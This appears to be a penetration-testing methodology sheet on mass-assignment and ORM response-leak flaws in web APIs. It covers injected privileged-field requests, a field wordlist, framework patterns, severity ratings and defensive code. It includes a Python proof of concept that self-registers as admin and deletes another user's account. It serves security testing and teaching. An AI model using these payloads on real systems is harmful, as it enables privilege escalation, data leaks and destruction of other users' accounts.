Mass Assignment + ORM Leak
API endpoints that bind request JSON straight to model update() /
create() without an allowlist can be coerced into setting admin
fields (is_admin, role, verified, etc).
1. Detect
# Capture a legitimate update request
PATCH /api/users/me
{"name": "Alice"}
# Try adding common privileged fields
PATCH /api/users/me
{"name": "Alice", "is_admin": true, "role": "admin", "verified": true,
"balance": 999999, "permissions": ["*"], "isStaff": true,
"membership_level": "premium", "tier": "enterprise"}
Re-fetch own profile. If any of the injected fields persists with attacker-set value → mass assignment.
2. Common field names to try
is_admin isAdmin admin superuser is_staff isStaff staff
role roles permission permissions scope scopes group groups
verified email_verified isVerified approved banned is_banned
balance credits points reputation
tier membership_level plan subscription
created_at email user_id uuid external_id organization_id
password password_hash
3. Framework-specific patterns
Rails (legacy, pre-strong-params)
User.create(params[:user]) → all params mass-assigned. Rails 4+ enforces
params.require(:user).permit(:name, :email). If permit list is too broad,
mass assignment.
Django REST Framework
UserSerializer(instance, data=request.data, partial=True).save() → all
declared fields settable. Bug: developer adds is_staff to serializer
fields by mistake.
Express / Mongoose
User.findOneAndUpdate({_id: req.params.id}, req.body)
// → any req.body field becomes a $set. Catastrophic.
Spring Boot
@RequestBody User u → Jackson binds all settable properties. If User
has setter for role, attacker can set it.
Go / Echo / Gin
c.Bind(&user) → same pattern.
4. ORM Leak — the response side
Sometimes the response serializer leaks fields the request can't set:
GET /api/users/123
{
"id": 123,
"name": "Alice",
"email": "alice@target.com",
"password_hash": "$2a$12$...", ← leak!
"totp_secret": "JBSW...", ← leak!
"stripe_customer_id": "cus_...",
"internal_notes": "VIP customer"
}
Or via GraphQL field expansion:
query { user(id: 123) { id name email passwordHash totpSecret } }
5. Tools
- Burp Intruder w/ wordlist of common privileged field names
- Manual exploration in dev tools — note ALL fields the app sees, try setting each
6. PoC
import requests
# Step 1: Register normal account
r = requests.post(f"{TARGET}/register", json={
"username": "attacker",
"password": "test123",
"is_admin": True, # try
"role": "admin", # try
})
# Step 2: Login + check
sess = requests.Session()
sess.post(f"{TARGET}/login", json={"username": "attacker", "password": "test123"})
me = sess.get(f"{TARGET}/api/users/me").json()
assert me.get("is_admin") == True # boom
# Step 3: Use admin powers
sess.delete(f"{TARGET}/api/users/2") # delete another user → confirm admin
7. Severity
| Bug | Severity |
|---|---|
Mass assignment to is_admin / role |
Critical 9.8 |
Mass assignment to balance / credits |
Critical 9.0 |
Mass assignment to email_verified |
High 7-8 (chains to ATO) |
| ORM leak of password_hash | Critical 9.8 |
| ORM leak of TOTP secret | Critical 9.8 |
| ORM leak of internal notes / PII | High 7-8 |
8. Defender
# Django REST Framework — explicit serializer fields, read_only_fields
class UserSerializer(serializers.ModelSerializer):
class Meta:
model = User
fields = ['name', 'email'] # whitelist
read_only_fields = ['id', 'created_at', 'is_admin', 'role']
# Rails — strong params
def user_params
params.require(:user).permit(:name, :email)
end
# General: NEVER serialize entire model directly. Always project.
Cross-references
- Upstream catalog:
skills/_corpus/payloads/Mass Assignment/+ORM Leak/ - API misconfig:
skills/exploit/web/methodology/(when added)
Known exemplars
- GitHub 2012: Egor Homakov's classic Rails mass-assignment → set someone else as repo collaborator. Cost: company crisis, paper.
- Multiple Shopify / Atlassian / GitLab bounties for missing strong params
- 2023 GraphQL mass-introspection-leak campaigns